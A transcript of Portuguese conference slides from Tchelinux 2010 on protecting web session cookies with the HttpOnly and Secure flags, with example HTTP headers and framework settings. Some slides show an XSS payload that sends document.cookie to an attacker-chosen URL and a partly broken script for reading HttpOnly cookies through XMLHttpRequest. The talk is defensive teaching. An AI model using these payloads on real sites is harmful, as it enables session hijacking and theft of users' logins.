Desenvolvimento web seguro cookies - Rodolfo Stangherlin
-
Upload
tchelinux-slides -
Category
Technology
-
view
1.641 -
download
0
description
Transcript of Desenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro: cookies
Tchelinux 2010 - Caxias do Sul
Rodolfo Stangherlin
Sumário
ApresentaçãoHTTP é stateless - e daí?RiscosExplorando com JavascriptHttponly - Risco minimizado Secure - Só HTTPSConclusão
Apresentação
Rodolfo StangherlinTécnico em Desenvolvimento de Sistemas - CETECBacharelando em Ciência da Computação na UCS Trabalha em informática desde 2005
sobreviveu à suporte Linux/FreeBSDdesenvolveu alguma coisa em PHPtrabalha atualmente com Python/Django
atualmente desenvolvedor Python/Django no NPDU (UCS)
HTTP é stateless - e daí?
HTTP (Hypertext Transfer Protocol) é um protocolo da camada de aplicação do modelo OSI.
Dizer que o protocolo é Stateless significa que a conexão não é mantida:
HTTP é stateless - e daí?
Fonte: http://wagnerelias.com
HTTP é stateless - e daí?
Cookies são enviados para identificar quem está enviando a requisição
HTTP é stateless - e daí?
Cookies são enviados para identificar quem está fazendo a requisição
Isso é feito através de HEADERS
HTTP é stateless - e daí?
Resposta criando um cookie: HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:22:07 GMT Server: WSGIServer/0.1 Python/2.5.5 Vary: Cookie Content-Type: text/html; charset=utf-8 Set-Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570; expires=Thu, 01-Jul-2010 03:22:07 GMT; Max-Age=1209600; Path=/
HTTP é stateless - e daí?
Requisição com o cookie já indentificado: GET /capa/ HTTP/1.1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570
Riscos
sequestro de sessãofurto de dadosproblemas de autenticação...
Riscos
Explorando com Javascript
<script language="javascript" type="text/javascript"> document.location='/false/?cks=' + document.cookie; </script>
Explorando com Javascript
/false/pode ser qualquer URL, que receberia os cookies que identificam a sessão (como o SESSION_ID ou PHPSESSID)
document.cookiePropriedade que contém todos os cookies da página: "csrftoken=8fb73324ffff93d9e2eed7e1d5184b6a; sessionid=d6efaa3ee92a9ac89ec0f0b4763cc248"
pq é necessário acessar o cookie de sessão via
javascript?
não é necessário!
Httponly - Risco amenizado
Adicionando a flag "httponly" na resposta do servidor, o navegador bloqueará acesso ao cookie via javascript:
HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:27:51 GMT Server: WSGIServer/0.1 Python/2.6.5+ Content-Type: text/html; charset=utf-8 Set-Cookie: csrftoken=e0957542e6b3b25785a3d08ded669f8; Max-Age=31449600; Path=/ Set-Cookie: sessionid=903da9d05cdf07e7bea5c0e8d725ea0f; expires=Thu, 01-Jul-2010 03:27:50 GMT; httponly; Max-Age=1209600; Path=/
Httponly - Risco amenizado
Então, com javascript:
document.cookie
"csrftoken=e0957542e6b3b25785a3d08ded669f8"
Httponly - Risco minimizado
risco eliminado? Não Usando Ajax (XMLHttpRequest), o cookie é passado e pode ser recuperado, mas é muito mais complexo
Httponly - Risco minimizadoburlando o HttpOnlyvar doc;try { doc = new XMLHttpRequest(); } catch(e) {}if (!req) try { doc = new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) {}if (!req) try { doc = new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) {} doc.open(“HEAD”, document.location, true);doc.send(null);doc.onreadystatechange=function() {if(doc.readyState==4) { if(doc.status==200) { var hidden=”"; var headers=doc.getAllResponseHeaders().split(” “); for(i=0;i<headers.length;i++) { var off1 = headers[i].indexOf(” “)+1; var off2 = headers[i].indexOf(“;”)+1; var cookie=headers[i].substring(off1, off2); hidden=hidden+cookie+” “; } } alert(“httpOnly cookie: “+hidden);}}
Httponly - Risco minimizado
pq não é assim por default? HttpOnly não é padrão Web
não está na RFC 2109 - HTTP State Management Mechanism)
criado pela Microsoft no IE6
hoje compatível com navegadores mais popularesMozilla Firefox (a partir da versão 3.0)Opera (a partir da versão 9.5)Google Chrome (desde a versão beta)Safari (desde versão 4)
Httponly - Risco minimizado
Django (Python)suporte apenas via middleware, fora do código "oficial", pois segue os padrões
Rails (Ruby)
HttpOnly ativado por default PHP
configurável através do php.ini desde a versão 5.2.0session.cookie_httponly = True
setar cookie usando "header()"usar parâmentro "http_only=True" na função setcookie
http://br.php.net/manual/en/function.setcookie.php
Httponly - Risco minimizado
Dia 18/06, o site f-secure.com publicou um ataque de XSS:
Httponly - Risco minimizado
Passando o código javascript pela URL, ele era executado ao acessar a página...
Secure - Só HTTPS
Indica para o navegador enviar o cookie apenas em conexões seguras (HTTPS) HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:46:30 GMT Server: Apache mod_wsgi/3.1 Python/2.6.4 Expires: Thu, 17 Jun 2010 03:46:30 GMT Vary: Cookie,Accept-Encoding Last-Modified: Thu, 17 Jun 2010 03:46:30 GMT Set-Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8; httponly; Path=/; secure
Secure - Só HTTPS
https://ucsvirtual.ucs.br/capa/
GET /capa/ HTTP/1.1 Host: ucsvirtual.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8
Secure - Só HTTPS
http://www.ucs.br/site GET /site HTTP/1.1 Host: www.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive
Conclusão
Na maioria das vezes, o acesso ao cookie de sessão nunca é utilizado via javascript.
Talvez por causa disso as pessoas nunca lembrem que isso pode significar uma
vulnerabilidade
Conclusão
Apenas HttpOnly + Secure não é suficiente.
O ideal é nunca permitir javascript seja exibido ;)
Django o faz por defaultPHP pode usar função strip_tags